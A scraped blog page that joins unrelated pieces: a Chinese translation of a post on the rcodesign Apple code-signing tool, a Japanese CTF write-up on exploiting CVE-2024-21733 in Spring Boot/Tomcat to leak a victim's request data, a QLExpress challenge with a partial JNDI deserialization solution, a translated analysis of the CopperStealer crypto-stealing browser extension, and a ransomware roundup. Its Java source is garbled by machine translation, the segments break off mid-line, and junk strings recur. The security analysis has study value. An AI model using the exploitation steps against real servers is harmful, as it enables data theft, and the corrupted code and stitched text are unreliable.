Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863290591

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

蘋果系統運行著一些現有的最大和最賺錢的軟件應用程序生態系統。理論上,要進入這些生態系統,傳統上需要使用macOS,並加入蘋果開發者計劃(Apple Developer Program)。

如果你想為Apple 操作系統開發應用程序,你可能會使用Apple 的操作系統和Apple 的官方工具進行開發和分發。但對於開源開發人員通常希望以最小的努力分發跨平台應用程序。在整個編程語言生態系統中,你運行的操作系統被抽象為許多應用程序的實現細節。通過創建macOS、iOS 等開發需要直接訪問macOS 和通常高於市場價格的Apple 硬件的要求,蘋果軟件生態系統強加的分發要求是有效的排他性,並阻止利益相關方對進入其生態系統。

在蘋果平台上發佈軟件的一個問題是代碼簽署和公證,即你需要:

1.在應用程序中嵌入加密簽名,有效地證明來自Apple Developer Program 關聯帳戶的真實性。 (這是簽名。)

2.將你的應用程序上傳到Apple,以便他們對其進行檢查,驗證它符合要求,可能還會存儲一個副本。然後,蘋果會發布自己的加密簽名,即公證書,然後需要將其嵌入到正在分發的應用程序上,這樣蘋果的操作系統才能信任它。 (這是公證。)

從歷史上看,這些步驟需要Apple 專有軟件專門從macOS 運行。這意味著,即使你在Rust、Go 等軟件生態系統或Web 平台中,你可以在不直接訪問macOS 的情況下交叉編譯應用程序(測試顯然是另一回事),如果你願意,你仍然需要macOS簽署和公證你的申請。由於默認的安全設置,在macOS上需要有效的簽名和公證。在iOS 等移動平台上,除非你運行的是越獄設備,否則不可能發布未經簽名和公證的應用程序。

如果我不需要macOS來構建我的應用程序,為什麼我要被迫把蘋果設備作為我的軟件發布過程的一部分?為什麼在發布的時候,我必須簽署和公證我的申請,它不能更簡化嗎?

如果能重新實現Apple 代碼簽名,以便開發人員有更多的靈活性和機會將應用程序分發到Apple 的生態系統。其最終目標是擴大Apple 生態系統對更多開發者的訪問。

首先,得益於rcodesign 0.14.0的發布。這是我第一次發布rcodesign 的預構建二進製文件(Linux、Windows 和macOS)。

macOS rcodesign 可執行文件是自簽名的,它由GitHub Actions Linux 運行程序使用YubiKey 獨有的代碼簽名證書進行簽名。

2021年,apple-codesign 項目/Rust crate 發生了很大變化!只需查看更改日誌!

這個項目從tugger-apple-codesign改名而來。

如果你是通過cargo install 安裝的,你需要cargo install --force apple-codesign 來強制Cargo 用另一個crate 中的一個來覆蓋rcodesign 可執行文件。

rcodesign CLI可執行文件仍然存在,而且比以往任何時候都更強大。你仍然可以在Linux、Windows、macOS和任何其他平台上對Apple應用程序進行簽名,你可以在這些平台上編譯Rust程序。

Sphinx 文檔請點擊這裡,這與PyOxidizer 的文檔一起發佈在readthedocs.io 上(因為我使用的是monorepo)。那裡有一些通用文檔,例如有關如何通過將你自己的替代代碼簽名PKI 部署到並行Apple 來選擇性地繞過Gatekeeper 的指南。

支持簽名包、DMG 和.pkg 安裝程序當我去年宣布這個項目時,只有Mach-O 二進製文件和非常簡單的.app 包是可簽名的。即便如此,也有很多微妙的問題。

Rcodesign sign現在可以對更複雜的包進行簽名,包括許多嵌套的包。有報導稱iOS應用包簽名正確。

該工具還支持簽名.dmg磁盤映像文件和.pkg扁平封裝包安裝程序。

已知的簽名限制現在記錄在Sphinx 文檔中。

我相信rcodesign 現在支持對用於Apple 軟件分發的所有主要文件格式進行簽名。

支持Linux、Windows 和macOS 上的公證

蘋果發布了一個名為Transporter的Java工具,可以讓你上傳文物到蘋果進行公證。它們使這個工具可用於Linux、Windows,當然還有macOS。

雖然這個工具不是開源的,但使用這個工具可以讓你在Linux 和Windows 上進行公證,同時仍然使用Apple 的官方工具與他們的服務器通信。

rcodesign 現在支持調用Transporter 並將工件上傳到Apple 進行公證。我們現在支持公證包、dmg 磁盤映像和.pkg 扁平封裝安裝程序包。我已經成功地從Linux 公證了所有這些應用程序類型。

由於支持對所有應用程序類型進行簽名和公證,現在可以在沒有macOS 參與發布過程的情況下發布Apple 軟件。

YubiKey 集成我嘗試盡可能多地使用我的YubiKey,因為存儲在YubiKey 上的密鑰或私鑰可能比位於某個文件系統上的密鑰或私鑰更安全。如果你破解了我的設備,你很可能會獲得我的私鑰。但是你需要物理訪問我的YubiKey 並強迫或強迫我解鎖它,以獲得訪問其私鑰的權限。

rcodesign 現在支持使用YubiKeys 進行簽名操作。

這確實需要默認的智能卡Cargo 功能。因此,如果手動構建,你將需要例如cargo install --features smartcard apple-codesign.

YubiKey 集成來自yubikey 。這個crate 將直接與macOS 和Windows 中內置的智能卡API 對話。所以如果你有一個啟用了YubiKey 支持的rcodesign 構建,YubiKeys 應該可以工作。通過插入YubiKey 並運行rcodesign smartcard-scan 進行嘗試。

YubiKey 集成文檔可以點此查看。

我甚至實現了一些命令來輕鬆管理YubiKey 上的代碼簽名證書。例如,你可以直接在設備上運行rcodesign smartcard-generate-key --smartcard-slot 9c 以生成新的私鑰,然後rcodesign generate-certificate-signing-request --smartcard-slot 9c --csr-pem-path csr.pem將該證書導出到證書籤名請求(CSR),你可以在developer.apple.com 上交換Applie 頒發的簽名證書。這意味著你可以輕鬆創建其私鑰直接在硬件設備上生成且永遠無法導出的代碼簽名證書。以這種方式生成密鑰比將密鑰存儲在軟件庫(比如蘋果的Keychains)中更安全。

遠程代碼簽名我最感興趣的功能是我稱之為遠程代碼簽名的功能。

我在GitHub託管的Linux GitHub Actions運行程序上簽署了一個macOS通用Mach-O可執行文件,使用的YubiKey物理連接到我桌子旁邊的Windows 11設備上。未在計算機之間複製簽名的應用程序。

我有一個調用rcodesign sign --remote-signer 的GitHub Actions 工作流程。我手動觸發了該工作流程,並開始使用瀏覽器觀察近乎實時的作業輸出。 rcodesign sign --remote-signer 打印出一些指令(包括一堵base64 編碼數據的牆)以指示下一步該做什麼。重要的是,它要求其他人運行rcodesign remote-sign 以繼續簽名過程。

該日誌向我們展示了使用YubiKey 進行連接和身份驗證,以及一些關於與遠程服務器對話的狀態更新。

遠程簽名使我能夠從GitHub 運營的GitHub Actions 運行程序簽署macOS 應用程序,同時使用安全存儲在我的YubiKey 上的代碼簽名證書,該證書插入到距GitHub Actions 運行程序數百公里的Windows 設備上。

這裡發生的是2 個rcodesign 進程通過中央中繼服務器橋接的websocket 相互通信。我免費操作一個默認服務器。服務器是開源的,如果你想運行你自己的服務器,你可以使用terrform模塊,希望只需要花幾分鐘時間。當啟動設備希望創建簽名時,它向請求加密簽名的簽名者發送一條消息。然後將簽名發送回發起者,發起者將其合併。

我設計這個特性時考慮到了CI系統的自動發布(比如GitHub Actions)。我想要一種方法,可以簡化應用程序的代碼簽名和發布過程,而不必給CI中的低信任設備無限訪問我的私人簽名密鑰的權限。這可能在許多其他場景中都是有用的。你是否曾經因為沒有蘋果發行的代碼簽名證書而通過電子郵件或下拉框將應用程序發送給別人簽名?現在你有了一個不需要復製文件的替代解決方案。只要你可以看到啟動設備的日誌輸出,或者將輸出傳遞給你(例如通過聊天應用程序或電子郵件),你就可以在另一台設備上遠程簽署文件!

關於遠程簽名安全性Websockets 通過由第三方操作的中央服務器?授予遠程設備訪問權限以對任意內容執行代碼簽名?你的恐懼和懷疑是100% 有道理的:我也會這麼想!

促進遠程代碼簽名的服務會成為一個非常有利可圖的攻擊目標,如果被濫用,它可能被用來強制使用有效的代碼簽名證書的各方簽署不想要的代碼,如惡意軟件。實現這樣的功能有很多很多很多錯誤的方法。

遠程代碼簽名設計和安全注意事項包含了我的一些高級設計目標和安全評估。遠程代碼簽名協議詳細介紹了通信協議,包括所涉及的加密(實際的加密,而不是流行的加密)。關鍵在於協議和服務器的設計使惡意服務器或中間人無法偽造簽名請求。簽名會話在幾分鐘後過期,第三方或服務器無法注入會導致不需要簽名的惡意消息。通過初始握手獲得會話臨時共享加密密鑰,並從那裡使用對稱加密密鑰,因此對等方之間的所有有意義的消息都是端到端加密的。惡意服務器可以做的最糟糕的事情就是進行拒絕服務。

我相信我的遠程簽名實現比許多常見做法更安全,因為今天的常見做法需要復制私鑰並讓低信任度設備(如CI 工作人員)訪問私鑰或者文件在沒有加密監管鏈的情況下被複製以證明不會被篡改。是的,遠程簽名為遠程訪問引入了使用簽名密鑰的向量。但是按照我的意圖進行實踐,遠程簽名可以消除複製私鑰或授予對它們的無限訪問權限的需要。從威脅建模的角度來看,我認為密鑰訪問中的網絡限制使得遠程簽名比現在許多人使用的私鑰管理實踐更安全。

話雖如此,這裡的星號是我實現了我自己的密碼系統來實現端到端消息安全。如果在設計或實現中存在漏洞,密碼系統可能會崩潰,從而帶來對消息偽造的防禦。屆時,惡意服務器或特權網絡攻擊者可能會強迫某人簽署不需要的軟件。但這很可能是損害的程度:對簽名密鑰的脫機攻擊是不可能的,因為簽名需要存在,而且私鑰永遠不會通過網絡傳輸。即使沒有端到端加密,該系統也比將你的私有密鑰作為一個容易被竊取的CI秘密(或類似的)留在周圍更安全。

Apple 鑰匙串支持從0.14 版本開始,我們現在可以提前支持使用存儲在Apple 鑰匙串中的代碼簽名證書進行簽名!如果你在Keychain Access 或Xcode 中創建了Apple 代碼簽名證書,那麼這可能就是你的代碼簽名證書所在的位置。

我拖延了很長一段時間,因為我沒有意識到這有什麼好處:如果你使用macOS,只需使用蘋果的官方工具。但是隨著rcodesign獲得了對遠程代碼簽名的支持,以及其他一些功能,這些功能可以讓它成為所有平台上蘋果工具的有力替代品,我認為我們應該提供這個功能,這樣我們就不會再阻止人們從keychain導出私鑰了。

Apple 的代碼簽名很複雜。 蘋果的工具和rcodesign之間很容易出現細微差別。

rcodesign 現在有print-signature-info 和diff-signatures 命令來轉儲和比較與代碼簽名相關的YAML 元數據,以便更容易地比較代碼簽名實現甚至多個簽名操作之間的行為。

web

passwdstealer

序文

元々はpasswdstealerです:)

テストポイントは、スプリングブートシナリオでのCVE-2024-21733の使用です。

脆弱性の基本原則の参照https://MP.Weixin.QQ.com/s?__biz=mzg2mdy2odc5ma==mid=2247484002IDX=1SN=7936818B93F22D9A656D8ED4848432C0

二度と繰り返しません。

スプリングブートシナリオでの使用

以前の分析は、Tomcat環境でのこの脆弱性の搾取には特定の条件が必要であることを示しています

タイムアウトエラーをトリガーします。これにより、Reset()がサーバー()のループ処理をトリガーするロジックを呼び出し、Tomcatが一度に複数のリクエストを処理し、漏れた機密データをエコーできるようにします。以下は、裸のスプリングブートシナリオでそれを使用する方法を見つけることです。

テスト環境:Springboot V2.6.13、Tomcatは脆弱性バージョン9.0.43に置き換えられ、ルーティングコントローラーは追加されていません。

step1トリガータイムアウト

目的は、read()を投げるioexception 21pvd0dyvaw554.pngを作成することです

リセット()をスキップして、制限の不整列を引き起こします。

上記の分析でPOCを使用するには、CLが実際の値iuzfgd4flc1555.pngを超えるCLを使用したパッケージを投稿します

AAAルートが存在せず、POSTデータがTomcatによって処理されないため、数秒で戻りません。

ここでは、投稿データを処理できるリクエストを見つける必要があります。

ここでは、MultiPart/Form-Dataを使用してデータをアップロードします。

1fjnvy0dzwr556.png

タイムアウトタイムアウトは正常にトリガーされました

step2はループ
に入ります

次に、リクエストがタイムアウト後にhttp11processor.java#service()のループをまだ入力するように、条件2を満たすようにしてください。デバッグ後、これは条件nujy1x41bgb557.pngを満たしていないことがわかりました

KeepAliveはfalseになり、コールスタックを上向きにバックトラックして理由を見つけます。

e4nvvapkwfa558.png e51rqcit0cp559.png

StatusCodeがStatusDropSconnectionにある場合、KeepAliveはfalseに設定されます

バックトラッキングを続けて、ステータスコードが500に設定されている場所を見つけてください。

qtvqackm4md560.png

追いかけて、それをトリガーしたのはservletexceptionであることがわかりますmi1qiewjnz0561.png

フォローアップを続け、最終的にトリガーされたIOExceptionがfileuploadexception tsgqajcwmlt562.pngとしてパッケージ化されたことを見つけます

ここでのIOExceptionは、実際にはDocardBodyDataのときに使い果たされました。捕まっていないので、上位に直接投げられました。ymdcx1kuod4563.png

この時点で、500の生成の理由を見つけました。500の生成からのリクエストを防ぐ方法を探してみましょう。これは、docardbodydata()をioexceptionを投げることなく、タイムアウトを引き起こす可能性があります。

最初に通常のマルチパートパッケージを使用してテストします。

ここにいくつかの境界基準があります

boundary=--- webkitformboundary7ma4ywxktrzu0gwがコンテンツタイプで設定されていると仮定します。

次に------ WebKitFormBoundary7MA4YWXKTRZU0GWは、パーツの始まりを表します(2つの最初の - )

----- webkitformboundary7ma4ywxkttrzu0gw--フォームの終わりを表します(2つは前後に追加されます - )

ここでは、頭と尾fclxhuh5frc564.pngを備えたマルチパートアップロードパッケージを構築します

彼はreadbounddary()に足を踏み入れることができることがわかりました

btobsim4nai565.png

readbounddary()をフォローアップし続けます。上記の境界基準によれば、マーカー[0]=readbyte();最後の2桁を読んでいます - またはCLRFは、境界の終わりのシンボルです。4k5kzzlg54v567.png

しかし、これを行うようにリクエストパッケージを設定した場合、つまり、境界エンドフラグはありませんか?3p5fj5k4qz0568.png

パケットは続き続け、readbyte()がデータを読み取ることができない場合(送信しなかったため)、最終的にfill()を呼び出し、fillにioexception(step1の位置)を引き起こすことがわかります。

sl5ozee0mxa569.png

現時点では、readbyte()はioExceptionを投げますが、読み取りに巻き込まれ、不正なストリームエクセプトとしてパッケージ化されます。

この時点で、私はSkippreamble関数に戻り、MalformedStreamExceptionが捕まえることを発見し、500を引き起こすためにIOExceptionを上方に投げ続けることができなくなりました。

} catch(最終的なMalformedstreamexception e){

falseを返します。この時点で、タイミングを出したが404を返したリクエストパッケージを正常に構築し、404はStatusDropSconnectionに含まれていないため、whileループを入力できます。2sriipmg5zp570.png

step3漏れecho

この手順は、トレースリクエストを使用するために直接使用できます。トレースリクエスト

xpmjia2dou4571.png

end utilization

ここでは、通常のユーザーのヘッダーにフラグを漏らすという目標を設定します。

まず、敏感な情報を内部に含むリクエスト(このリクエスト中に被害者が送信したと仮定して)を送信します。この時点で、入力バッファはこのように見えます。wcnxzmgjor0572.png

攻撃者はリクエストを送信し、通常42rz1guccdi573.pngを返します

この時点で、入力バッファ内の状況はこのようになりました。qjc5yg0r5ub574.png

最後の最も重要なステップは、攻撃者が瞑想的なマルチパートパッケージ13pcgtfwo55575.pngを送信することです

この時点で、マルチパートパッケージがタイムアウトした後、whileループに入り、パッケージの送信を継続します。したがって、Nextrequestの後、入力バッファーは完全なトレースリクエストになり、フラグは元のバッファーを上書きすることによりトレース要求のヘッダーになります。

fdqlceg4nyr576.png

最後に、フラグはトレースのエコーによって得られます。

tm2cidr02c2577.png

ここで手に入れるのはヘッダー情報ですが、実際に体を取得できます。これはもう少し面倒です。被害者パッケージの前にCLRFでいっぱいのパッケージを送信し、事前にバッファーをCLRFで満たし、トレースで要求されたヘッダーとしてボディを上書きします。

ezql

パッケージorg.example;

com.ql.util.express.defaultContextをインポートします。

com.ql.util.express.expressrunnerをインポートします。

com.ql.util.express.config.qleexpressruntrategyをインポートします。

com.sun.net.httpserver.httpserverをインポートします。

com.sun.net.httpserver.httphandlerをインポートします。

com.sun.net.httpserver.httpexchangeをインポートします。

sun.misc.base64decoderをインポートします。

java.io.ioexceptionをインポートします。

java.io.inputStreamをインポートします。

java.io.outputStreamをインポートします。

java.net.inetsocketAddressをインポートします。

java.nio.charset.standardcharsetsをインポートします。

java.util.base64をインポートします。

java.util.hashsetをインポートします。

java.util.listをインポートします。

java.util.setをインポートします。

パブリッククラスメイン{

public static void main(string [] args)throws ioexception {

int port=integer.parseint(system.getenv()。getordefault( 'port'、 '8000'));

httpserver server=httpserver.create(new inetsocketAddress(port)、0);

server.createcontext( '/'、new httphandler(){

@オーバーライド

public voidハンドル(httpexchange req)がioexceptionをスローします{

int code=200;

文字列応答;

string path=req.getRequesturi()。getPath();

if( '/ql'.equals(path)){

試す {

文字列式=getRequestBody(req);

Express=new String(base64.getDecoder()。decode(express));

ExpressRunner Runner=new ExpressRunner();

qleexpressrunstrategy.setforbidinovokesecurityRiskMethods(true);

SetString secureMethods=new Hashset();

securemethods.add( 'java.lang.integer.valueof');

qleexpressrunstrategy.setsecuremethods(securemethods);

DefaultContextString、Object Context=new DefaultContext();

応答='0';

試す {

Response=string.valueof(runner.execute(express、context、(list)null、false、false));

} catch(例外e){

System.out.println(e);

}

//string param=req.getRequesturi()。getQuery();

//response=new initialContext()。lookup(param).toString();

} catch(例外e){

e.printstacktrace();

Response=':(';

}

} それ以外{

コード=404;

応答='見つかりません';

}

req.sendresponseheaders(code、response.length());

outputStream os=req.getResponseBody();

os.write(respons.getBytes());

os.close();

}

});

server.start();

System.out.printf( ':%d%n'、portで聞くサーバー);

}

private static string getRequestBody(httpexchange Exchange)はioExceptionをスローします{

inputStream is=exchange.getRequestBody();

byte [] buffer=new byte [1024];

int bytesRead;

stringbuilder body=new StringBuilder();

while((bytesread=is.read(buffer))!=-1){

body.append(new String(Buffer、0、BytesRead、StandardCharsets.utf_8));

}

return body.toString();

}

}

単純なQL式

解決策1

ソリューション1は、実際には少し予期せぬものに偏っており、Qleexpressionの特徴を忘れています。まず、CB依存関係が付属するActiveMQ依存関係があることに気付きました。したがって、脱力化利用チェーンが確認されています。

2つ目は、脱審成をトリガーする方法です。脱派化のトリガーのための2つのアイデアは簡単ではありません。

TemplatesJndiは後者に属します。JDBCrowsetのセッターメソッドを呼び出してルックアップを押すことができます

com.sun.rowset.idbcrowsetimplをインポートします。

jdbc=new jdbcrowsetimpl();

JDBC.DATASOURCENAME='

趨勢科技的研究人員跟踪了CopperStealer幕後組織的最新部署,這次是通過基於Chromium的惡意瀏覽器擴展程序竊取加密貨幣和用戶的錢包帳戶信息。

趨勢科技最近發布了關於CopperStealer通過濫用瀏覽器竊取程序、廣告軟件瀏覽器擴展程序或遠程桌面等各種組件傳播惡意軟件的分析。跟踪網絡犯罪集團的最新活動,研究人員發現了一個惡意瀏覽器擴展,當受害者登錄到一個主要的加密貨幣交易網站時,該擴展能夠創建和竊取受感染設備的API密鑰。這些API密鑰允許擴展程序執行交易並將加密貨幣從受害者的錢包發送到攻擊者的錢包。

與以前的攻擊類似,這個新組件通過fake crack(也稱為warez)網站傳播。該組件通常與瀏覽器竊取程序一起分佈在一個釋放器中,並與其他不相關的惡意軟件捆綁在一起。這個捆綁包被壓縮成一個受密碼保護的檔案,自7月以來一直在野外傳播。

滴管/擴展安裝程序該組件在第一階段使用之前文章中描述的相同加密器,然後是第二階段,其中解密的DLL是UltimatePackerExecutables-(UPX)打包的。解密和解包後,我們注意到一個名為CRX的資源目錄,其中包含一個7-Zip壓縮文件。惡意Chrome瀏覽器擴展通常以這種方式打包。

1.png

名為CRX的擴展安裝程序,包含一個7-Zip壓縮文件

該壓縮文件包含一個帶有設置的JSON文件和另一個帶有擴展安裝程序本身代碼的7-Zip壓縮文件。

2.png

CRX的解壓內容

擴展安裝程序首先修改文件首選項和安全首選項在chrome瀏覽器的用戶數據目錄。這個名為Preferences的文件是JSON格式,包含個人用戶設置。擴展安裝程序關閉瀏覽器通知。

同時,名為SecurePreferences的文件也是JSON格式,包含已安裝擴展的設置。對於新安裝的擴展,crx.json文件的內容將插入到此安全首選項設置文件中。新安裝的擴展也會添加到位於註冊表中的擴展安裝允許列表中。

然後將crx.7z壓縮文件中的文件提取到位於

Chrome

Chromium

Edge

Brave

Opera

CốcCốc

CentBrowser

Iridium

Vivaldi

Epic

Coowon

AvastSecureBrowser

Orbitum

ComodoDragon我們還注意到,該擴展程序被安裝到受害者的瀏覽器中,具有兩個不同的擴展程序ID,且在官方Chrome網上商店中都找不到:

Cbnmkphohlaaeiknkhpacmmnlljnaedp;

Jikoemlnjnpmecljncdgigogcnhlbfkc;擴展分析安裝擴展程序後,我們還注意到chrome://extensions/中新安裝了以下擴展程序。

3.png

安裝的惡意擴展

擴展清單定義了兩個Java腳本。後台腳本名為background.js,並且只在一個實例中運行在擴展本身內部。同時,內容腳本稱為content.js,並在coinbase.com上下文中運行,如擴展清單中的代碼片段所示。

4.png

在擴展清單中指定的內容腳本的設置

腳本混淆這兩個Javascript文件都被嚴重混淆。在第一個混淆步驟中,所有字符串被拆分為子字符串,存儲在單個數組中,通過調用多個帶有5個十六進制整數參數的十六進制命名函數來實現對數組的訪問。

5.png

第一層混淆

看看第二個混淆步驟,所有字符串、邏輯操作符(+、-、*、/)、函數調用等都被插入到對像數組中。每個對像都有一個隨機字符串作為名稱,或者另一個字符串或函數作為值。在我們分析的示例中,_0x1f27e3['PFPYr']對應字符串' set ', _0x1f27e3['LYLfc'](0,1)對應邏輯表達式0!=1。

6.png

第二層混淆

這兩個混淆步驟都可以通過使用自定義自動化腳本來反混淆。

後台腳本分析通過分析腳本,本節分析了攻擊者如何能夠竊取合法加密貨幣錢包用戶的賬戶信息。當擴展啟動時,後台腳本進行兩個查詢。第一個是對http:///traffic/chrome的GET請求,可能是出於統計目的。第二個查詢是對http://

blockchain.com

coinbase.com

binance.com

ftx.com

okex.com

huobi.com

kraken.com

poloniex.com

crypto.com

bithumb.com

bitfinex.com

kucoin.com

gate.io

tokocrypto.com

tabtrader.com

mexc.com

lbank.info

hotbit.io

bit2me.com

etoro.com

nicehash.com

probit.com然後,該擴展為各種加密貨幣和令牌定義了一個攻擊者的地址數組:

Tether(USDT,specificallyinEthereumERC20andTRONTRC20)

Ethereum(ETH)

Bitcoin(BTC)

Litecoin(LTC)

Binancecoin(BNB)

Ripple(XRP)

Solana(SOL)

BitcoinCash(BCH)

Zcash(ZEC)

StellarLumens(XLM)

Dogecoin(DOGE)

Tezos(XTZ)

Algorand(ALGO)

Dash(DASH)

Cosmos(ATOM)對於ETH地址,腳本硬編碼了大約170個額外的基於ERC20的代幣。之後,擴展啟動onMessage偵聽器以偵聽來自擴展進程或內容腳本發送的消息。該消息採用JSON格式,其中一個name-value pair稱為method。後台腳本偵聽以下方法:

马云惹不起马云Method “homeStart”

這個方法試圖從Chrome的本地存儲獲取API密鑰(apiKey)和API秘密(apiSecret),如果這些密鑰和秘密對是之前獲得併保存的。以下步驟需要這些參數:

1.使用API通過請求/api/v2/accounts獲取有關錢包、地址和余額的信息。此請求的結果也被洩露到http://

2.如果請求成功,API會向內容腳本發送“okApi”消息並開始解析錢包信息。如果錢包餘額不為零,它會嘗試將85%的可用資金發送到攻擊者控制的錢包。

7.png

尋找餘額不為零的錢包

8.png

竊取85%的可用資金

交易請求的結果也會被洩露到http://

1.如果不成功,API會向內容腳本發送“errorApi”消息。 “errorApi”消息包含來自https://www.coinbase.com/settings/api的CSRF令牌作為一個參數,以及對新API密鑰創建請求的響應。

2.Method “createApi”。

此消息是從內容腳本接收的,並包含一個雙因素身份驗證(2FA)代碼作為參數之一。此代碼用於打開新的模式窗口以創建API密鑰。通常,當你在CoinbaseAPI設置中點擊“+NewAPIKey”時,會請求一個2FA代碼,如果代碼正確,就會出現模式窗口。

在創建新API的第二步中,需要選擇錢包及其權限。惡意擴展請求所有帳戶的所有可用權限。

9.png

選擇所有帳戶和權限

之後,需要再插入一個身份驗證代碼,然後就會顯示一個帶有新生成的API密鑰的表單。如果成功,後台腳本然後繼續從“API Key details”表單提取兩個API密鑰(API Key和API Secret),將它們保存到Chromium的本地存儲以供以後使用,並將它們提取到http:///traffic/step。如果API身份驗證不成功,將向內容腳本發送一條“retryApi”消息。

內容腳本分析我們進一步研究了內容腳本,以分析負責從受害者那裡竊取2FA密碼的進程。內容腳本包含以下語言的消息列表:

马云惹不起马云英語(en)

马云惹不起马云德語(de)

马云惹不起马云西班牙語(es)

马云惹不起马云法語(fr)

马云惹不起马云日語(jp)

马云惹不起马云印度尼西亞(身份證)

马云惹不起马云意大利語(它)

马云惹不起马云波蘭語(pl)

马云惹不起马云葡萄牙語(pt)

马云惹不起马云俄語(ru)

马云惹不起马云泰語(日)

马云惹不起马云 土耳其語(tr)

每條消息都包含電話和身份驗證器的標題、描述和錯誤消息。

對於“phone”,顯示的英文信息顯示為:

马云惹不起马云“title”:“請輸入手機驗證碼。”

马云惹不起马云“description”:“輸入手機短信提供的兩步驗證碼。”

马云惹不起马云“message”:“該代碼無效。請再試一次。”

對於“authenticator”,顯示的英文消息如下所示:

马云惹不起马云“title”:“請輸入驗證器的驗證碼。”

马云惹不起马云“description”:“輸入你的身份驗證應用程序提供的兩步驗證碼。”

马云惹不起马云“message”:“該代碼無效。請再試一次。”

內容腳本最初向/api/v3/brokerage/user_configuration發出請求,以查看用戶是否已登錄。然後腳本向後台腳本發送一個“homeStart”消息,並開始使用onMessage偵聽類似於後台腳本進程的“method”屬性。如果它接收到一個方法屬性等於“okApi”的消息,它會隱藏代碼加載器並移除模式窗口。如果它接收到一個方法屬性等於“errorApi”的消息,它就會創建一個模式窗口。

10.png

顯示要求輸入身份驗證代碼的模式窗口

模式窗口有輸入框並偵聽oninput事件。如果每個輸入框都包含一個數字,則將它們連接成一個“tfa”(2FA)變量,並作為“createApi”消息的參數發送到後台腳本。代碼加載器也會顯示出來。

模式窗口有六個輸入框,需要輸入六位數,這是在使用驗證器時提供的。如果受害者通過短信使用身份驗證,那麼身份驗證代碼有7位數字,模式窗口將多一個輸入框。此邏輯在模式窗口代碼中實現。收到的方法屬性等於“retryApi”的消息會刪除所有插入的數字,並以紅色顯示錯誤消息。

11.png

輸入驗證碼後,出現錯誤信息

總結CopperStealer的幕後攻擊者會經常發起攻擊,研究人員將繼續監控他們的部署,因為攻擊者找到了更多針對不知情的受害者的方法。在分析此進程時,研究人員發現此擴展程序與之前報告的惡意軟件組件之間存在多個相似之處,其中之一是惡意擴展程序和CopperStealer是從之前記錄的同一個dropper和相同的傳輸載體傳播的。

另一個驚人的相似之處是惡意擴展的命令和控制(CC)域具有與域生成算法(DGA)域相同的格式,這些域被追溯為屬於先前版本的CopperStealer。格式是由16個十六進製字符組成的字符串。此外,他們的兩個CC服務器都是使用PHP框架“CodeIgniter”構建的。這些屬性向我們暗示,惡意軟件和擴展程序背後的開發人員或運營商可能存在關聯。

建議用戶和組織從官方平台下載他們的軟件、應用程序和更新,以緩解CopperStealer等惡意軟件帶來的風險和威脅。

FortiGuard Labs每兩週收集一次關於勒索軟件變體的數據,追踪分析發現Snatch,BianLian 和Agenda都出現了最新的變體。這三個惡意軟件都是用Go編程語言(Golang)編寫的。

马云惹不起马云受影響的平台:Microsoft Windows

马云惹不起马云受影響方:Microsoft Windows 用戶

马云惹不起马云影響:加密受感染設備上的文件並要求贖金才能解密文件

马云惹不起马云 嚴重性級別:高

SnatchSnatch勒索軟件至少從2018年底就開始活躍了。 2021年11月30日,Snatch勒索組織在其數據站點添加了一條條目,內容涉及入侵沃爾沃汽車公司的服務器並竊取文件,同時還附上了被盜文件的屏幕截圖作為證據。

Snatch勒索軟件是最早用Go編程語言的組織,當時用Go編寫的勒索軟件非常罕見。巧合的是,本文中涉及的所有其他勒索軟件變種都是用Go編寫的。

Snatch 勒索軟件是一種文件加密器,以使用著名的文件擴展名“.snake”而聞名,它會附加到加密文件中。但是,已觀察到其他文件擴展名。其勒索信的文件名也因變體而異。

已報告的Snatch 勒索軟件感染媒介是RDP(遠程桌面協議)憑證暴力破解。從Windows 11 內部版本22528.1000 開始,Microsoft 默認啟用了帳戶鎖定策略,該策略會在登錄嘗試失敗時鎖定用戶帳戶。這不僅使RDP 暴力破解變得更加困難,而且還使任何其他密碼猜測攻擊變得更加困難。

最新的Snatch 勒索軟件變種會加密受害者設備上的文件,並將“.gaqtfpr”擴展名附加到受影響的文件中。它還會刪除一個文本文件“HOW TO RESTORE YOUR FILES.TXT”。該勒索信包含兩個聯繫電子郵件地址以及受害者在向攻擊者發送電子郵件時必須遵循的特定說明。

1.png

Snatch勒索軟件最新變體發出的勒索信

2.png

被最新Snatch 勒索軟件變種加密的文件

BianLian用Go編程語言編寫的BianLian於2022年7月中旬首次被發現,它的運營商本月增加了他們的命令和控制(C2)基礎設施,最近開始將受害者添加到其Tor 上的數據洩露網站上。截至撰寫本文時,至少有20家公司成為了其受害者。不過,攻擊者很有可能隱瞞了支付贖金的受害者的數量,BianLian勒索軟件的實際受害者可能會更多。

3.png

BianLian 勒索軟件公開的受害者列表

每個BianLian 受害者都被標記為他們的國家和他們所屬的行業。根據可用的標籤,它的勒索軟件受害者至少在美國、英國和澳大利亞。目標行業包括醫療保健、教育、律師事務所、建築、媒體、製藥、營銷、度假村和金融。

4.png

BianLian勒索軟件攻擊者對受害者的分類標籤

每個受害者都有一個專門的頁面。其中包括受害企業的描述、首席執行官或公司總裁的姓名、他們的個人收入、這些公司的收入、資產和收入,以及洩露的文件中包含哪些信息。

5.png

BianLian 勒索軟件數據洩露網站上發布的受害者信息

有趣的是,Colin Grady 最近觀察到,由一些勒索軟件攻擊者操作的洩漏網站在2022 年8 月26 日關閉了。不過,其中一些仍存在斷斷續續的使用,其中就包括BianLian和Snatch勒索軟件。

攻擊者還警告受害者,他們必須在十天內支付贖金。否則,竊取的信息將被發佈在該勒索軟件組織的Tor網站上。為了給受害者施加額外壓力,攻擊者聲稱將向受害者的客戶和業務夥伴發送指向被盜信息的鏈接,以損害受害者的聲譽。受害者被指示使用Tox或通過電子郵件聯繫攻擊者。由於贖金金額和支付方式沒有寫在勒索信上,因此受害者將與攻擊者進行協商。

6.png

BianLian勒索軟件的勒索信

7.png

數據洩露網站上列出的聯繫方式

8.png

BianLian 勒索軟件加密的文件

由BianLian 勒索軟件加密的文件具有“.bianlian”文件擴展名。

AgendaAgenda是另一個基於Go的勒索軟件,於2022年6月中旬出現,根據VirusTotal報告的相關樣本,該勒索軟件可能已攻擊了南非、羅馬尼亞、立陶宛、印度、泰國、美國、加拿大和印度尼西亞。

